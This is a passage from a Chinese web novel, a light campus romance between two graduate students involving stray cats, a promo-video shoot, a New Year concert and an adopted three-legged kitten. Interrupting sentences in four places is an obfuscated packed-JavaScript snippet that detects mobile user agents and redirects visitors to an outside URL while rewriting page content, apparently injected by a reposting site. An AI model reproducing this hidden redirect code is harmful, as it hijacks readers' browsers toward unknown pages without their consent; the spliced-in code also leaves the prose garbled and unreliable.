我难得地从总是沉静的师弟眼睛里面,隐约看出来几分嗔怒。 虽然说出来好像很荒谬——要不是这种事情真的不可能,我都要又一次怀疑,其实是师弟本人偷偷在我电脑里面当电子小猫了。 “看我做什么?” 周围人有一点多,我招招手,意思是让他离近一点。 沈言就凑过来,我本来是想问他刚才脸红什么,但是话到嘴边,又自己莫名刹车了。 ——刚才完全是看见旁边有人,下意识地让他靠近一点。谁能知道在忽然靠近的清香气里面,我自己也开始慌乱了。 睫毛颤一下,眼睛抬起来看我,日光底下水波粼粼。 “……师兄,怎么了?” “没什么。”我拍拍他的肩膀,拂掉一团空气,“这里有片叶子。” 他低头看看自己右肩,哦了一声,片刻之后又抬起头,跟我很认真地重复一遍:“不要给猫穿乱七八糟花里胡哨的衣服!” 队伍又往前移了两格,沈言转身的时候端着两杯,左手里面的递给我。 “你的,少糖,没加燕麦。” “你还记得?” “我怎么不记得。” 沈言自己走路的时候总是戴着耳机,跟我一起的时候就摘下来,有一搭没一搭地说话。 路边的松针好像是被人为扫起来了,整整齐齐堆在路边,低低矮矮的、柔软的褐色小山丘。 沈言这次就看看,没往上面踩,不知道说了句什么。 我没听见,他又叫我一遍我才反应过来:“什么?” 他咬着吸管盯着我看了片刻:“在想什么?” “……没什么。” 难道要我说,我是在想电子小猫会不会梦到为它伸张正义的人类吗。 说出来他肯定又不信。 * 在工位上坐下来,我一看见苏睿换上她那个甜美的微笑,就觉得事情不简单。 “你又要干什么?” “院里面最近在拍新的宣传片,你们知道吗?” 沈言看看我,点点头。我知道苏睿是宣传部负责人,最近在忙着组织这件事。 “还差点素材,一点点,”苏睿比了个手势,“行吗?” “想让我们俩给你出镜拍素材?” 苏睿笑得很诚恳:“师兄,师弟,帮个忙吧。” 我思考了一下:“你们要是缺素材,能不能让论文替我出镜?我觉得这是很好的宣传点。” “不能,”她很直白,“你俩脸好看,看的人多,流量好。” “……” 沈言没说话,眼睛眨一下,看似很严肃,其实是没反应过来。 安静三秒钟,苏睿对沈言使用了道具小熊软糖。 “师弟,宣传片滞销,帮帮师姐。” 苏睿往前推推小熊形状的罐子,两手合十:“你答应了他肯定就答应了。” 这话说得很诡异,什么叫师弟答应了,我就也答应了?我不知道她怎么得出的结论。 “师兄,”苏睿拍拍我,“想什么呢——师弟答应了,你来不来?” 我指指她的小熊软糖道具:“对我没用。” 苏睿盯着我片刻,一拍手。 “好吧。”她摇摇头,“忙碌的知行师兄,我也知道你很忙,没空搞这些杂事,可以理解的。那我只能再找个同学跟师弟一起拍了。” “……?” 我问她:“你们都要拍什么素材?” “也没什么,就是拍一些有学术氛围的镜头嘛,以前宣传片里面都有的,像什么坐在一起看书啦、亲切进行学术讨论啦、还有……” “……我什么时候说我不去了。” 苏睿立刻不数了:“真的?说好了?” 场景选在学院二楼。总共三条素材,做实验的、学术讨论的,还差一条看书的。 下午的阳光从窗户斜斜照进来,书页上的油墨微微反光。沈言在低头看书,我悄悄侧过去一点目光,看见他被照得分外白皙的侧脸,发梢拢在金色的光芒里面,看起来很软。 “好了。” 苏睿话音一落,沈言就立刻放下书站起来,有点局促一样。 “先别着急,我看看效果。” 苏睿导了文件,跟宣传部的另一个学妹一起看刚才拍的素材。沈言也凑过去看。 “这怎么越看越怪呢。” 苏睿对着电脑摩挲着下巴:“这氛围怎么不太学术呢……怎么这么怪呢?” 她看了一遍,抬头:“你俩能收着点,再拍一遍吗?” “什么叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154802|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收着点?” “就是你俩,怎么说,有点距离感?”苏睿努力思索,“对,装作没那么熟,普通同学就行。” 我不明白:“现在不就是照着普通同学拍的?” 苏睿意味不明地看我一眼,摇摇头,跟旁边的学妹商量了几句。 沈言看起来也不明白,两手撑在椅子上,有点询问地看我。 “这样,拍的时候你俩想点不高兴的事情,”苏睿商量了半分钟,再次开始专业指导,“最好是想点对方让你不高兴的事情。” 沈言让我不高兴的事情吗? 我想了又想,也没想起来,转头竟然看见沈言真的对着苏睿点点头。再回过头看我的时候,竟然真的眼神冷下来三分。 我什么时候做让他生气的事情了吗? 再拍一遍,苏睿对着成片明显满意很多:“这次好多了,刚才那算怎么回事?” 战战兢兢了半小时,我悄悄问沈言:“你刚才想起来什么了?我是哪里惹你不高兴了吗?” 目光挑起来,从我脸上扫过去,扫得我心下一颤。 “想起来,你给居然想给猫穿乱七八糟的衣服。” 沈言背上书包,表情冷酷。 * 老程对于师门的爱恨情仇一无所知,喜气洋洋地提回来两大袋子奶茶。 “你们师母买的。” 师母在隔壁学院,平时还挺忙的,有时候指导学生指导烦了,不想吵学生,就会买一堆东西来找老头吵架。 完美的、所有人都高兴的解决方案。 沈言头一次碰见这种情况,似乎有点不太明白,我给他发消息解释了两句。 老头从他的小弟子开始分发:“我们下周末开个组会?” 苏睿没抬头:“我都行。” 陈欣附议,我没说话。 有个活动在下周六,会馆在市中心,从学校打车要半个小时,再算上堵车…… 我正在盘算,忽然听见沈言开口:“老师,不好意思,我下周六……有别的事情,能周日吗?” 老程沉默片刻,嘶了一声。 “是……不行吗?” 其实我知道老头要说什么,下一秒果然听见他喟叹:“沈言啊,你师兄师姐很久没有这样跟我说过话了。” “……是吗。” 老头摇头晃脑喜气洋洋地出去准备被师母骂了。 袋子里面除了奶茶还有几小袋面包干,我分到沈言的时候,观察片刻他的表情。 他接过去,看了几秒钟屏幕,又抬起来眼睛:“怎么了?” “不怎么。”我随口问他:“你周六也要出去吗?” 我又想起来之前那件事情。当时提醒沈言抢票的时候没太在意,现在每天总要想起来几遍。 当时那么紧张地抢票,说是要见很重要、很喜欢的人。 很重要、很喜欢的人——是什么人,又有多喜欢? 我对敌方竟然一无所知。 沈言接过去面包干,眼睛眨一下:“师兄也出去?” “……不是。” 说话之前果然还是要多想想。这样听起来好像我在打听别人的个人生活。 “没什么,我就随便问问。我周六……就是有个访谈要做。” 不喜欢给小猫奇装异服的师弟,应该也不会喜欢奇装异服的师兄。我决定还是接着捂好自己的马甲。 沈言看我片刻,点点头:“我也没什么别的事,就是……有个实验要做。” 不是去见人,我松了一口气。 师弟的学术热情还是如此高涨。 16. 16 早上在人文馆有个讲座,主题跟师门的研究方向很相关,师门所有人倾巢出动。 讲座结束是十点半。回实验楼的时候,沈言问我:“师兄,你周六是要做什么访谈?” 我正在想刚才讲座提到的融合粒度的问题,冷不丁被他这样问,没反应过来:“我有什么访谈?” 被他盯着几秒钟,我才忽然想起来自己前天随口胡诌的借口,在他审视的目光中装作镇定:“之前跟你说过的,约的专家访谈。” “之前跟我说过的?” 沈言在我笃定的语气中,开始怀疑自己:“你跟我说过吗?” “说过的,你忘了?” 我装作在看路:“就是那个,关于权重分配机制的专家访谈。我上周三跟你说的。” 天气比上周冷很多,说话的时候就会有白色的哈气。 沈言想了一会儿,再开口的时候明显有点犹豫:“你真的跟我说过吗?我怎么……还是没印象。” 没印象就对了,这是在他刚才怀疑自己的十秒钟里面,我自己编的。 为了增加一点真实性,我又装模作样地问他:“没关系。你想来听听吗?” “……不用了。” 沈言又低回去头咬着自己吸管,摇摇头:“我周六还是……嗯,做我的实验吧。” “什么实验,这么上心?” “我之前跟你说过的,”他抬起来眼睛盯着我,“你忘了?” “……” 在记忆里面紧急切换两个检索式检索三遍,返回了0个结果。 在准备检索第四遍的时候,我看见沈言盯着我的眼睛弯起来一点,梨涡若隐若现地浮起来,被我发现就错开目光,才意识到他是故意的。 短短一个半月,好好的师弟都被我教坏了。 路过月亮湖的时候碰见几个留学生,带着圣诞帽,很快活的样子,怀里抱着鲜花和礼物盒,一阵浓郁的香水味跟着笑声飘过去。 研究论文、研究项目、研究实验、研究穿搭、研究怎么追人,每天忙得昏天黑地,我这才想起来明天是圣诞节。 苏睿暂时从两种数据格式孰优孰劣的辩论中转移一点注意力,看了一眼:“学校不是不提倡过洋节吗?” 陈欣手里的奶茶送到嘴边又放下去了。 “有没有一种可能,人家就是洋人呢。” “……好的。” 下午结账的间隙扫了眼消息,我果然看见管理员在实验室大群里面发消息的时候,比上午更严谨,不提倡中国人过洋节。 退出来消息界面,站在玻璃柜子前面,在巧克力焦糖口味的红色苹果蛋糕和香草芝士柠檬口味的绿色苹果蛋糕之间纠结了三秒钟,我选择两个都买。 本来是进来买咖啡的,沈言在外面等我,看见我手里面两个装着苹果蛋糕、打了缎带的小盒子,偏了偏头。 “给我?” “是,”我想了个别的理由,“庆祝你进入师门的第四十八天?” 沈言似乎是笑了,摇摇头接过去:“那为什么四十七天的时候不庆祝?” 我觉得他说的也有道理,想了想:“也要庆祝。那我欠你四十七个苹果蛋糕?” 有小猫之神、月亮湖水和八角金盘的每一天都应该庆祝。 沈言愣了一下,自己观察了一遍两个苹果小蛋糕,等红灯的时候又转过头来看我,很认真在思考的样子。 “那我欠你四十八个什么呢?” 周围人群声杂着车流声,吵吵嚷嚷的。我思绪大概是也跟着被吵乱了,也答不上来,只顾着看他的眼睛。 广场上巨大的圣诞树挂满灯球,天色已经开始暗下来了,五颜六色的灯光亮晶晶地落在他眼睛里面。 信号灯变成绿灯了我也没注意到,还是被他拉了下袖子。 “不着急,师兄想好再说吧。” 到底什么时候才能和他说——要怎么和他说呢。 * 偶尔和师弟出门闲逛就会被学术之神制裁。 吃完苹果小蛋糕回来,老程正在自己对着几份文件愁眉苦脸,看见我没说话,先叹了一口气。 我有点不敢靠近他了。 “……干什么?” 大概听了几句,我听明白了。之前有个项目,老程跟隔壁老师一起负责一个子课题,现在发现那部分账对不上了。 “再过几天学校财务就封账了,” 我看了一眼那些乱七八糟的材料都觉得要气笑了:“现在他们说这么多经费对不上?” 老程看起来也很无奈:“之前我其实还问过几次,刘老师手里项目多,总是忙嘛,不怎么顾得上,不太管……之前每次都跟我说,学生说了没什么问题。” “这么复杂的项目,让一个研一刚入学的学生管整个财务是吗?” 我有时候觉得这个世界上还真是有很多勇气可嘉的人。 苏睿冷笑:“肯定是想着,反正都是一个子课题,真有问题咱们也得担责,大不了还有咱们兜底嘛。之前又不是没干过这种事。” “算了,先不说这个了。” 翻了一遍,我大概看出来问题了:“现在有问题的应该是这几项,等会儿我给财务打个电话。晚上我再对一遍信息,明天赶紧去先把这两笔款调一下。” “一个人忙得过来吗?” 老程叹气:“他们那里应该是指望不上,要不还是让哪个师弟师妹给你搭把手吧?” “不用,都挺忙……” “我跟师兄一起吧?” 沈言看看我:“我之前也跑过这种材料,大概流程还算清楚。” 晚上出实验楼的时候,我又跟他重复一遍:“这东西真的很麻烦,你不是最近在改那个返修稿吗,给自己揽这个活干什么?” “总不能都推给你自己吧?” 沈言抬头看看我:“你不累吗?” 在我开口之前,他就跳下去台阶摆摆手,跟平常一样戴上耳机,一副我说什么都听不见的样子。 “好了我回去了师兄——明天八点半我到财务部门口等你,就这样。” * 沈言自己走路的时候,总是喜欢戴着耳机,也不知道在听什么。 除了“师弟很重要很喜欢的人到底是谁”这个每日例行问题,我也曾经连续两个晚上和电子小猫认真讨论过“师弟耳机里面到底在放什么”这个问题,没有得出任何结论。 小狸花似乎对人类的这个问题不以为意,爪子搭在键盘上面,不打字的时候就前后左右地乱看。 我仔细思索一分钟之后再看,它正在试探键盘旁边的毛线球,尾巴尖碰一下,毛线球要滚开的时候就再一勾,尾巴卷着毛线球又拢回来。 看起来好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154803|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想把毛线弄得乱糟糟一团。 好小猫。好小猫。 早上我在财务部门口看见沈言的时候,果然又是戴着耳机,左手拿着文件夹,低着头好像在回消息。 已经懒得问他有没有吃早上饭了。我指指旁边便利店的方向,他抽空抬头看了一眼就随便点点头,跟在我后面。 其实我有点怀疑他根本就没仔细看,就这么自己跟上来了。 速速吃完巧克力蛋挞和土豆泥鸡蛋三明治,刚过八点半。站在树底下,我跟沈言又对了一遍要盖章的材料。 说实话,来财务部的十次里面七次都很烦。今天不知道怎么回事,感觉莫名心平气和了很多。 即便这两笔款实在是很麻烦,等下出了财务部还要先去科发院再去学院再去盖校章拐一圈再回到财务部。 根据控制变量法进行分析,我觉得今天格外心平气和,大概是因为师弟。 沈言说自己“还算熟悉”是自谦了,他对这套流程相当熟悉。本来计划两天做完的事情,一天就已经做得差不多了。 我跟他再次在财务部门口碰面的时候天色已经黑下来了,封好材料扔到投递箱里面,我问他:“晚上吃什么?” 沈言看了眼校车还有几站,关了手机收到大衣口袋里面:“你要请客吗?” “对啊。”我跟他比划,“你帮了这么大的忙。你想吃什么?” 沈言想了想:“吃食堂。” “……食堂?” “我要回去写报告,没空出去。明天早上我要交给你报告的第三章。”沈言看我一眼,“你自己定的时间,你忘了吗?” “……可以改的。” “不改。你欠着。” 好吧。我问他,“那你什么时候有空?” 沈言偏着头想了片刻,开始给我盘算:“今天没空。明天也没空,这周都没空。” “……你这么忙?” 下周三就是元旦了,我问他:“那你今年还有空吗?” 他想了想:“下周二有空。” 顿一下,又看我一眼:“但是毕竟是跨年,师兄要是有其他的安排,或者要跟别人……” “我没什么别的安排。” 我怕他等一下又不算数了:“我真没别的安排——那说好了,就下周二?” “好。” 他点头的时候,眼睛里面好像浮上来一点笑色。 居然真的能有人笑着走出财务部。 校车上人不太多,沈言如愿坐到了他喜欢的靠窗的位置,大概耳机里面放的音乐也很合他的心意。 ——他像现在这样,眉梢扬起来一点、眼睛亮亮的,就说明他很满意。 悄悄观察师弟几秒钟,我低头去回邮件,回到一半,感觉有人碰碰我的胳膊肘。 我转过头,看见沈言手里拿着左边耳机,眼神有点询问地盯着我。 我看看耳机,又看看他:“给我听吗?” 点点头,他犹豫一下,手往前递到一半又忽然转了方向,直接塞到我左耳里面了。 指尖有一点凉意,从耳廓擦过去的时候,我下意识地屏住了呼吸。 很轻的擦一下就过去了,那点触感却莫名地在左耳上结冰凝固了一样。大概过了很久,我才勉强能把注意力放在耳机里面的音乐上。 ——我今晚回去将单曲循环。 17. 17 早上进实验室之前,我在门口站了半分钟,再三确认师弟的确不在工位上,才准备进去。 “师兄?” 沈言的声音忽然从背后冒出来,端着自己的杯子,站在我旁边,也顺着我视线的方向看:“看什么呢?” “……没什么。” 我装作低头翻手机里面的邮件,没敢直视他的眼睛:“有什么事?” 沈言没说话,我余光瞥见他有点奇怪地打量我。 昨天晚上真是对自己太好了。耳机里面单曲循环师弟给我听的音乐,电脑里面长得很像师弟的小狸花被绑架一起写论文,桌子上是师弟上次买的奶酪小饼干。 对自己这么好的结果就是,我做了很诡异的梦。 一开始梦到的东西还是很正常的,只是我自己坐在地毯上,在系统里面填基金信息。 填到一半,不知道从哪里冒出来一只黄色的狸花猫,和输入法里面那只长得很像,都有酷似师弟的、黑曜石一样的眼睛。 我和凭空出现的小猫对视片刻,它自己就慢慢走过来,轻轻一跳,窝在我怀里面。 小猫软软的、暖暖的,靠在我掌心里面,抬起来眼睛看我的时候,目光燎得我心头一跳。 ——和师弟一模一样。 只是一个呼吸间的事情,这个念头刚冒出来,身上的重量忽然完全变了。 咫尺之间看着我的哪里还是狸花猫,沈言像平常一样,眨眨眼睛,趴在胸前叫我:“师兄?” 猛地睁开眼睛的时候,房间里面安安静静的,所有东西都笼在昏暗光线里面,显出来个依稀的轮廓。 很快掠过去的影子一样,梦里的一切都退得干净,只残留下来乱七八糟的呼吸。 坐起来改论文也改得心猿意马,躺下去又毫无睡意。整个后半夜都没怎么睡着。 看见沈言,我现在有点心虚。 沈言没说什么,端着杯子自己进去了,在工位上坐下来之前又看我一眼。 本来打算一整个上午都不要跟师弟说话,让我自己冷静一下的。结果一打开电脑,跳出来一封新邮件。 之前和沈言投的论文编辑部给了返修,不想说话也得说话了。我把邮件截图给他发过去,半分钟之后人就拖着椅子过来了。 来得早,实验室里面没别人,安静得过头。我有点担心这么近的距离里面,会被他听见自己乱七八糟的心跳。 但是好在师弟眼里暂时只有论文——怎么又只有论文了。 沈言看东西的时候习惯两手支着下巴,这样坐在旁边看了两分钟,开口的时候语气有点拿不准:“师兄,问题大吗?” “不大。” 大概看过一遍,几个外审提的基本上都是一些细节上的修改意见,对文章整体结构内容的意见不大。 “大概率是能过。” 沈言原本皱着眉在看邮件,听了这话眼睛就很快地眨两下:“真的?” “真的。”我理一遍几条修改意见,“这部分你熟悉,就负责案例的补充和这两个段落的调整,其他的我来改。今天有时间吗?” “有,我现在回去改。” 话是这样说,人还坐在原处。我问他:“怎么了?” 沈言想了几秒钟:“师兄,真能过吗?” 果然还是紧张。 “没关系,你别有压力。” 我给他找出来之前的邮件,“你前期工作都做得很扎实,文章的质量肯定不用担心——你看,我之前拿到这种返修的都过了,是不是?” 沈言盯着我的电脑屏幕看了看,点点头。我悄悄观察他的神色,好像是放心了一点。 “你先改,有什么问题随时问我,修改说明晚上的时候我来……” 我一抬头,看见苏睿站在门口,低着头打字打得飞快,抬头的时候正好跟我对上视线,神色诡异。 “你怎么不进来?” 苏睿摇摇头,收起来手机。 “师兄,”她拉开自己椅子,啧啧两声,“之前我害怕论文过不了,你可没这样哄过我。” “……” “算了,我都懂,师弟年纪还小,对吧。”苏睿在包里翻东西,“师兄,不用解释,我都懂——对了,给你们俩这个。” 她递过来张票:“明天晚上有空吗?有空就过来,就在实验楼旁边那音乐厅,挺近的。” 看了一眼,是学校新年音乐会的票,我记得这东西很难抢:“你怎么有这么多?” “我不是合唱团的吗,内部人员,不用抢票。本来我室友让给她们留的,结果临时约会去了。”苏睿说到这里冷笑一声,咬牙切齿,“见色忘友,虽远必诛。等着吧。” “……” “你俩来吧,”她接着道,“不然也浪费了。其他角度我找好人了,欣欣有别的事不来,你俩正好到时候多给我拍点照片。” 沈言其实真的比我好说话,拿着票看了看:“师姐,要拍多少?” “不用太多,拍个六七十张就行了,再录几个视频。对,不用太多。” “……你管这叫不用太多?” * 音乐会六点开始,还有二十分钟,里面人就已经坐满一大半了。 苏睿在后台疯狂招手,我被迫过去听她高密度讲了十分钟的拍照注意事项,出去的时候,看见沈言正在和后排的女生说话。 不知道在讲什么,侧着脸,我看不清楚他的神情,似乎聊得挺专注。 苏睿提着礼服裙摆又晃过来了:“师兄我还想起来一个……” “要不你等下给我发消息?” “……好吧。” 我走到沈言旁边的时候,他正自己低头看手机。我还没到近前,他就抬头:“师兄?” “嗯。”我在他旁边坐下来,“刚才你师姐交代了等会儿怎么给她拍照,” 瞥一眼周围,想了想,我招招手,让他凑近一点:“这里面太吵了,你靠近一点,我和你讲。” “还好吧,也没那么吵?” 沈言是这样说,但还是听话凑过来。 讲完苏睿那些角度取景打光一堆东西,我装作刚想起来:“后边坐的,是你认识的人吗?” “不是。”他说,“就是问我方不方便加个联系方式。” 心下一紧,我端着那种随便问的语气:“加了吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154804|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说……嗯,” 他低声说:“可能不太方便。” “不方便?” “……嗯。” 他没说话,只是目光挑起来,看我一眼。 大概是音乐厅里面暖气开得很足,脸上一直热热的。 不知道自己为什么要解释。我告诉沈言:“里面有点热。” 沈言视线错开来,点点头。 七点半的时候我和沈言一起出来。我给沈言看我提前订好的餐厅。 花了很大功夫才约到的位置,落地窗外面能看到江上的渡轮、五光十色的城市和烟花。 沈言看了一眼:“师兄,怎么看起来像是我在趁机宰你。” 其实本来还有更夸张的。在家庭三人群里面表示跨年夜我要和人出去吃饭、不要找我,两个已经在维也纳的人半夜三点半给我撺掇出来了八百个方案,有点损招全使我身上了。 总之我拒绝了小提琴乐队、玫瑰花盒子和其他更离谱的提议。搞不好会把人吓到。 路过月亮湖的时候,沈言停下来进行简短的小猫召唤仪式。 今天跨年,小猫也要加餐。猫罐头还是上次跟奶酪小饼干一起买的,颇受小猫欢迎。 那几只猫现在对我似乎也熟悉了,之前只肯围在沈言脚边,现在偶尔也蹭蹭我。 我尝试碰一下小猫脑袋,听见沈言咦了一声。 “怎么了?” “那只黄色的小猫,好久没见到了。” 他指指旁边的台阶,我看见小猫之神正蹲在最高一级台阶上。 仍然高高在上,但今天不知道是不是我的错觉,看我的眼神没有那种不屑感。 看见我们看它,就站起来,走两步又回头看看我们。 “这是什么意思?” 沈言合上罐子,偏着头想了想:“让我们跟着它?” 听起来似乎有点荒谬,但我和沈言的确跟着一只猫走了十分钟,走到只有一盏不太明亮的路灯的小径深处。 它停下来了,蹲坐在草丛旁边,借着路灯的光,我看见草丛里面有点动静。 沈言跟我对视一眼,打开了手机的手电筒。 亮光照下去的一瞬间,一只灰色猫忽然窜了出来,很明显的警告姿态,一旁的黄猫对它叫了两声。 这很奇怪,但是我第一次听到如此庄严的喵喵声。 灰猫竟然真的立刻就不防备了,退回草丛里面。沈言看看我,举着手机蹲下去,我看见草丛里面还有几只小猫,挤成一团。 黄猫叼起来一只小猫,走到我和沈言面前。 我跟沈言两个人都没敢动,他看我一眼:“这是,什么意思?” 黄猫等了一分钟,似乎有点着急,爪子拍拍沈言的手,他下意识地就伸出去了。 喵喵乱叫的小猫团在沈言手里面,很快地一阵风刮过去,黄猫、灰猫还有剩下的小猫一眨眼间都不见了,银色的铃铛落在地上一声轻响。草有被压过的痕迹,我摸上去,觉出来有一点温度。 沈言手里拢着那只灰色的小猫,一动不动的,半晌才敢说话。 “世界上……难道真的真有小猫之神吗?” 18. 18 晚上九点半,终于收拾得差不多,在喂猫的间隙,我抽空看了眼手机。 收到了来自维也纳的关心,借着给我展示奶油洋葱汤和炸蘑菇的名义,问我跟人约会约得怎么样。 很匪夷所思的措辞。哪里就是约会了? [PZX]:不是约会。 [PZX]:我们在家里,没在外面,明天再说。 家庭群里面另外两个人立刻冒出来一串问号,我也没空解释。 一句两句说不清楚。 ——其实十句二十句也说不清楚。我真的很难解释,我和沈言到底是怎么被掌管小猫的神塞了一只小小猫、怎么晕晕乎乎地带着小小猫做检查,又是怎么莫名其妙地把猫带回家里面的。 给小猫做完检查已经过了九点,广场上到处喧闹,气球、烟花、霓虹灯,都热热闹闹地挤成一团。 小猫裹着毯子,捂在沈言怀里面,只露出来眼睛。 也是灰色的,瘦瘦小小,看起来没怎么吃饱过。除了营养不良没什么别的问题,就是左前爪总着不了地,三条腿走路走得摇摇晃晃的,检查说是先天的残疾。 沈言看我一眼,似乎是在问我怎么办。 零度的天气,肯定不可能就这样丢在路边不管的。现在立刻找领养也不现实,宿舍也不方便。我想了想:“先放我家?” 沈言犹豫一下:“方便吗?” “方便的。”我告诉他,“我自己住,地方也够大。” 总之就这么晕晕乎乎地提着刚买的猫窝猫砂猫奶瓶,带着师弟和小猫回了家。 以至于进门开灯的一瞬间,我才猛然想起来昨天没修完的假毛还在客厅里面放着。 沈言一进门就被捂上眼睛了。睫毛从我掌心擦过去,他有点疑惑:“师兄?” 轻而痒,蝴蝶翅膀在掌心里面微微扇动一下,颤动一路蔓延到胸腔里面。 愣了一下,我才忽然反应过来,这太唐突了。 慌忙收了手,我跟他解释:“有点乱,你先等一下——你别转身,一分钟就好。” 也只是能把最要紧的奇装异服收起来,一柜子的手办徽章立牌实在是一时半会儿收不起来。 沈言进来之后没说什么,但也还是对着玻璃柜多看了几眼。 回了消息,收起来手机,我又悄悄观察他的神色。 沈言正在给小猫喂刚冲好的羊奶粉,察觉到我在看他,目光扫过来:“怎么了?” “没什么。”我指指他手里的东西,“我学习一下。” 小猫吃了饭,人类也需要吃饭。 沈言坐在沙发上,看起来似乎也有点恍惚。我把手机给他:“你想吃什么?” 他看看我,接过去,低着头在屏幕上面划拉。点晚饭的时候,我就坐在旁边看他。 倒退半个月,大概还要很拘谨,说什么我都可以、师兄你定。 感觉进度条似乎往前拉了一点点——还是要慢慢来,不能着急。不能着急。 沈言点了咸蛋黄烤鸡披萨、薯角培根披萨和葡萄柠檬茶,等外卖的时候,我跟他又观察那只三条腿走路的小猫。 刚刚喂完羊奶粉,本来是自己窝在猫窝毯子里面,隔着毯子贴着小热水袋。点个晚饭的功夫,就自己又溜出来了,一瘸一瘸地勘察周围地形。 ——自以为很隐蔽,其实勘察了多久,我跟沈言就看了它多久。 不敢大声说话,我小声问沈言:“叫它什么?” “嗯?” 他偏着头:“我想想。” 实在是很奇妙的一晚上。听新年音乐会,跟着掌管小猫的神发现小猫,穿过零度但是熙熙攘攘的广场,在暖气很足的房间里面蹲在一起喂羊奶。 我胡思乱想的时候,被沈言推推胳膊:“嗯?” 他眨一下眼睛,指指正在扒拉沙发脚的小猫:“三角铁?” ……怎么想到的。 三角铁终于发现人类在偷看它,迅速逃跑。 * 忙活一晚上,将近十点了饭还没吃上。现在再回学校,宿舍楼早过了门禁了。 我给沈言看没什么人住的客房:“还行吗?” “……给你添麻烦了,师兄。” “没什么,是我麻烦你了。”我摇摇头,“三角铁……还得麻烦你帮忙。” 三角铁又开始喵喵叫,沈言出去看它是怎么回事。 我从衣柜里面翻出来新的四件套,选了两分钟,选出来米黄色的一套。 扔到洗衣机里面,再回客厅的时候,正好看见沈言正站在玻璃柜前面观察。 听见脚步声,他转过头,看起来竟然是感兴趣的样子。 “师兄,我还不知道,你这里有这么多好东西?” 是我意料之外的话。我问他:“你也喜欢吗?” “我那里也有一些,”沈言笑了笑,“但是没有你这里这么多。” 俯身去看底下的一层,他指尖在玻璃上面点一点:“莱恩这个手办,我也有一样的。” 我有点惊讶:“你也看过银河边疆?” “……其实是好几遍。” 短暂的沉默之后,在接下来等外卖的半个小时里面,客厅里面的怪话浓度达到了前所未有的数值。 对于能操控三百六十具机关傀儡的千枢,我和师弟一致认为实在很适合被抓来做实验被试。艾希莉亚能用歌声操纵时间,看动漫的时候我总觉得做实验的时候放点音乐或许会有奇效,原来沈言也干过一样的事。 “你看这个。” 沈言给我看相册,里面是前几天学校路边见到的松果,和艾希莉亚手链上面的松果长得很像。 翻相册的时候,他停了一下,看看我的玻璃柜。 “你买的是这个版本的夜翎?” “是。” 我想起来就觉得扼腕叹息:“那会儿出去开会,网卡了,限量版没抢到。” 限量版本的是战斗形态的夜翎——我不信这个世界上有人能拒绝一把可以撕裂时间空间帅气到无以复加的星轨长弓。 沈言眨眨眼睛,在手机上划几下,举到我面前,难得地露出来得意的神色。 “我有。” 我之前真没看出来师弟的二次元浓度如此之高。 仔细欣赏一分钟,我非常羡慕地发现,限量版连照片都越看越帅,更不要说实物了。 “也不知道以后会不会返场。” 沈言正低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154805|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着头看手机,听了这话,静止了两秒钟。 两秒钟之后,小铃铛被举到我面前。 “师兄,”他眨眨眼睛,“你要不要跟小猫之神说,让它帮你返场限量版夜翎手办?” 三角铁已经自己玩累了,在窝里面团成一团毛球。 收回来目光,我问沈言:“你觉得……真的存在小猫之神吗?” 沈言不知道在想什么,忽然笑了,耸耸肩:“也许世界上就是有魔法呢。” 看着他,我也笑了。 “也是,”我碰碰他手里面的银色铃铛,“说不定呢。” 虽然没有用上我精心挑选的餐厅,但是坐在客厅的地毯上,从落地窗往外面看过去,也还能看见灯光闪烁的江面。 城市在夜空里面亮晶晶的,像包着礼物纸一样。远处高楼的大屏上大大地打着“新年快乐” 之前沈言点完给我的时候,下单之前我想了想,又多加了两份凤尾虾和芝士挞。 师弟对我的钱还是有点太见外了。 我不信他这种人不会吃饭后甜点,发现多出来的小点心的时候果然眼睛亮了一下。 我就知道。 吃过饭再收拾干净,忙忙碌碌一整个晚上,还有几分钟就要零点了。 “我也没想到,今年能跟你一起跨年。” 沈言正在慢慢地吃芝士挞,也摇摇头。 “我也没想到。” “之前是什么打算?” “也没什么打算,就跟平常一样吧。” 他转头看我:“师兄呢?” 